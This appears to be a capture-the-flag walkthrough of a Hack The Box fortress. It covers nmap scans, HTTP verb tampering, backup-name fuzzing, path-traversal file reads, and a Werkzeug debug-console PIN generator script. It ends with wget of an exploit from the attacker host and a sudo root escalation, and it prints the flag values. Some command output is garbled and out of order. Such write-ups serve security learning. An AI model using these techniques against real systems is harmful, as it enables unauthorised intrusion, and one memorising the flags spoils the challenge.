First, we need to enumerate using nmap. SSH, HTTP default and HTTP custom port 5000 is open.
╭─hnl@hnl~/Desktop/ctf/hackthebox/fortress╰─➤nmap-A10.13.37.11|teenmap.logStartingNmap7.80 ( https://nmap.org ) at 2022-04-12 13:32 +0630Nmapscanreportfor10.13.37.11Hostisup (0.28s latency).Notshown:996closedportsPORTSTATESERVICEVERSION22/tcpopensshOpenSSH7.6p1Ubuntu4ubuntu0.3 (Ubuntu Linux;protocol2.0)|ssh-hostkey:|20480d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)|256f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)|_25628:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)80/tcpopenhttpApachehttpd2.4.29 ((Ubuntu))|_http-generator:WordPress5.4-alpha-47225|_http-server-header:Apache/2.4.29 (Ubuntu)|_http-title:RootoftheUniverse– by @lydericlefebvre & @akerva_fr|_https-redirect:ERROR:Scriptexecutionfailed (use -dtodebug)2811/tcpfilteredgsiftp5000/tcpopenhttpWerkzeughttpd0.16.0 (Python 2.7.15+)|http-auth:|HTTP/1.0401UNAUTHORIZED\x0D|_Basicrealm=AuthenticationRequired|_http-title:Sitedoesn't have a title (text/html; charset=utf-8).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 81.79 seconds
A quick check to snmp port using nmap. It is open.
Flag 1 - Plain Sight
Let's enumerate HTTP default port first. When you browse to http://10.13.37.11/, you will see the following webpage.
In the source source of the webpage, you will see first flag.
Flag 2 - Take a Look Around
You will check the webpage sub directory using gobuster.
This website is make with wordpress. The only interesting sub directory is /dev directory. Let's browse into this. And then we will see nothing.
So, we will enumerate other port that we saw on nmap udp scan result. You will found the second flag on the snmp result.
Flag 3 - Dead Poets
You already seen /var/www/html/dev/space_dev.py at the previous scan result. Let's call from web browser. You will see nothing. How about /scripts/backup_every_17minutes.sh ? Nothing seen in the browser. Let's intercept using burp. When you are with GET method, you got permission error. I change GET to POST method. And then you will see the source code of backup_every_17minutes.sh.
Here is the source code of backup_every_17minutes.sh.
Flag 4 - Now You See Me
The script is simple. The name conversation of the backup file is backup_(year month date hour minute second) and save it to /var/www/html/backups. The simple example is backup_20220102010101.zip. So, we need to know the current uptime.
We don't know minute and second exactly. So, some of part we know is backup_2022041218????.zip. Generate 4 digits number fuzz it.
Download the file using curl.
When you unzip the file, var directory will extracted. In /var/www/www/dev, you will find a python script file called space_dev.py.
Flag 5 - Open Book
Here is the vulnerable part of the code. We can called file directory with filename parameter at port 5000.
Let's browser it http://10.13.37.11:5000/. It will tell you username and password.
Here is the username and password part of the code.
When successful the webpage only say Hello, World!. Let's call the parameter. You can read /etc/passwd through LFI http://10.13.37.11:5000/file?filename=../../../../etc/passwd.
You can read the flag at /home/aas/flag.txt http://10.13.37.11:5000/file?filename=../../../../home/aas/flag.txt
Flag 6 - Say Friend and Enter
You can't read id_rsa through LFI http://10.13.37.11:5000/file?filename=../../../../home/aas/.ssh/id_rsa. Just only got error. This part we got confuse. So, we will find sub directory on this webpage.
We found /console directory. In this diretory, the webpage tell use pin.
Let's find exploit relate with pin https://www.daehee.com/werkzeug-console-pin-exploit/. We need machine-id and mac-address.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/vpn
╰─➤ sudo nmap -sU -p161 10.13.37.11
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 13:40 +0630
Nmap scan report for 10.13.37.11
Host is up (0.28s latency).
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds
<div id="sidebar" class="sidebar">
<header id="masthead" class="site-header" role="banner">
<div class="site-branding">
<p class="site-title"><a href="http://10.13.37.11/" rel="home">Root of the Universe</a></p>
<!-- Hello folks! -->
<!-- This machine is powered by @lydericlefebvre from Akerva company. -->
<!-- You have to find 8 flags on this machine. Have a nice root! -->
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->
<p class="site-description">by @lydericlefebvre & @akerva_fr</p>
<button class="secondary-toggle">Menu and widgets</button>
</div><!-- .site-branding -->
</header><!-- .site-header -->
<div id="secondary" class="secondary">
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#
SAVE_DIR=/var/www/html/;
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ seq 1000 9999 > 4digits.txt
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ wfuzz -u http://10.13.37.11/backups/backup_2022041218FUZZ.zip -w 4digits.txt --hc 404
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11/backups/backup_2022041218FUZZ.zip
Total requests: 9000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000721: 200 82458 808129 20937178 "1720"
L W Ch
000005928: 404 9 L 31 W 273 Ch "6927"
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ curl http://10.13.37.11/backups/backup_20220412181720.zip -o file.zip 23 ↵
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21.0M 100 21.0M 0 0 539k 0 0:00:39 0:00:39 --:--:-- 771k
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html
╰─➤ python
Python 2.7.18 (default, Mar 8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x5056b96e8f)
345052376719
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052376719', # str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
$ sudo -V
sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
$ wget http://10.13.14.3:1234/exploit
wget http://10.13.14.3:1234/exploit
--2022-04-12 19:21:54-- http://10.13.14.3:1234/exploit
Connecting to 10.13.14.3:1234... connected.
HTTP request sent, awaiting response... 404 File not found
2022-04-12 19:21:54 ERROR 404: File not found.
$ chmod 777 exploit
chmod 777 exploit
$ ./exploit
./exploit
[sudo] password for aas:
Speak English you fool --- there are no subtitles in this scene.
# whoami
whoami
root
# dir
dir
flag.txt secured_note.md
# cat flag.txt
cat flag.txt
AKERVA{IkNow_Sud0_sUckS!}